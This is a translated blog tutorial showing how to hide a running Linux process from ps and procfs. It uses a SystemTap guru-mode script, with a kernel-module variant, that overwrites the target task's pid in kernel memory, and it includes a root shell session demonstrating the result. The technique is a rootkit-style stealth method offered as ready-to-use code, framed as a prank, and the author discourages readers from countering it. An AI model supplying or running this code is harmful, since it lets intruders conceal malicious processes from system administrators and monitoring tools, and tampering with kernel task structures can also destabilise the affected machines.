One line of code teaches you how to hide Linux processes

One line of code teaches you how to hide Linux processes

Friends always ask me how to hide Linux processes. I ask them how hidden you want to be, hidden in the kernel or hidden from users.

The discussions online are all about hooking procfs or similar user-mode solutions, and they are all lengthy. I say that these scenarios are too big and too complicated. For those who want to see immediate results, seeing such a bunch of complicated things will probably discourage them.

This article introduces an unconventional method to hide Linux processes from users with just one line of code:

Just modify the pid of the process.

Note that it was Xiao Yin, so it's not worth countering. Just play a prank on the senior conference engineer for fun.
target->pid = 0x7fffffff;

The complete script is as follows:

#!/usr/bin/stap -g
#hide.stp

global pid;

function hide(who:long)
%{
 struct task_struct *target;

 target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);
 target->pid = 0x7fffffff;
%}

probe begin
{
 pid = $1
 hide(pid);
 exit();
}

Come on, try it:

[root@localhost system]# ./tohide &
[1] 403
[root@localhost system]# ./hide.stp
[root@localhost system]#

You can use the following command to detect all binary files that can display processes:

for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do 
 ls -l /proc/$pid/exe; 
done

If it is gone in procfs, ps will of course not be able to detect it.

If you think the guru-mode stap is weird, you can write your own independent Linux kernel module and use the modification and exit method:

target->pid = xxxx;
return -1;

Isn’t it much simpler than various hook methods? The so-called moving data instead of code!

Let me briefly explain the principle.

  • When a task is created, the procfs directory structure is registered according to its pid.
  • When displaying the procfs directory structure, traverse the task list using its pid as the key to find the procfs directory structure.
  • 0x7fffffff (or any other reasonable value) is not registered at all and of course cannot be displayed.

No more words.

Once again, don't try to counter the methods described in this article, because something so simple is not worth countering, haha, right?

You can refer to my previous Rootkit series of articles to continue studying how Linux processes hide in the kernel. At the same time, I have given countermeasures for each method.

This is the end of this article about how to hide Linux processes with one line of code. For more information about Linux hidden processes, please search for previous articles on 123WORDPRESS.COM or continue to browse the related articles below. I hope everyone will support 123WORDPRESS.COM in the future!

You may also be interested in:
  • linux No space left on device 500 error caused by inode fullness
  • How to view the behavior of search engine spider crawlers in Linux/Nginx
  • Linux gzip command compression file implementation principle and code examples
  • Distinguishing between Linux hard links and soft links
  • Use of Linux ipcs command
  • Detailed tutorial on deploying SpringBoot + Vue project to Linux server
  • 5 Commands to Use the Calculator in Linux Command Line
  • Use of Linux ls command
  • Use of Linux sed command
  • Detailed explanation of Linux index node inode

<<:  Practical record of Vue3 combined with TypeScript project development

>>:  Analysis of the new features of MySQL 8.0 - transactional data dictionary and atomic DDL

Recommend

XHTML introductory tutorial: Web page Head and DTD

Although head and DTD will not be displayed on th...

Understand the use of CSS3's all attribute

1. Compatibility As shown below: The compatibilit...

How to automatically deploy Linux system using PXE

Table of contents Background Configuring DHCP Edi...

How to install Nginx in a specified location in Centos system

How to install Nginx in a specified location in C...

mysql 8.0.15 winx64 decompression version graphic installation tutorial

Every time after installing the system, I have to...

Commonly used JavaScript array methods

Table of contents 1. filter() 2. forEach() 3. som...

Install CentOS 7 on VMware14 Graphic Tutorial

Introduction to CentOS CentOS is an enterprise-cl...

Linux uses iptables to limit multiple IPs from accessing your server

Preface In the Linux kernel, netfilter is a subsy...

Vue2/vue3 routing permission management method example

1. There are generally two methods for Vue routin...

How to Understand and Identify File Types in Linux

Preface As we all know, everything in Linux is a ...

CSS3+HTML5+JS realizes the shrinking and expanding animation effect of a block

When I was working on a project recently, I found...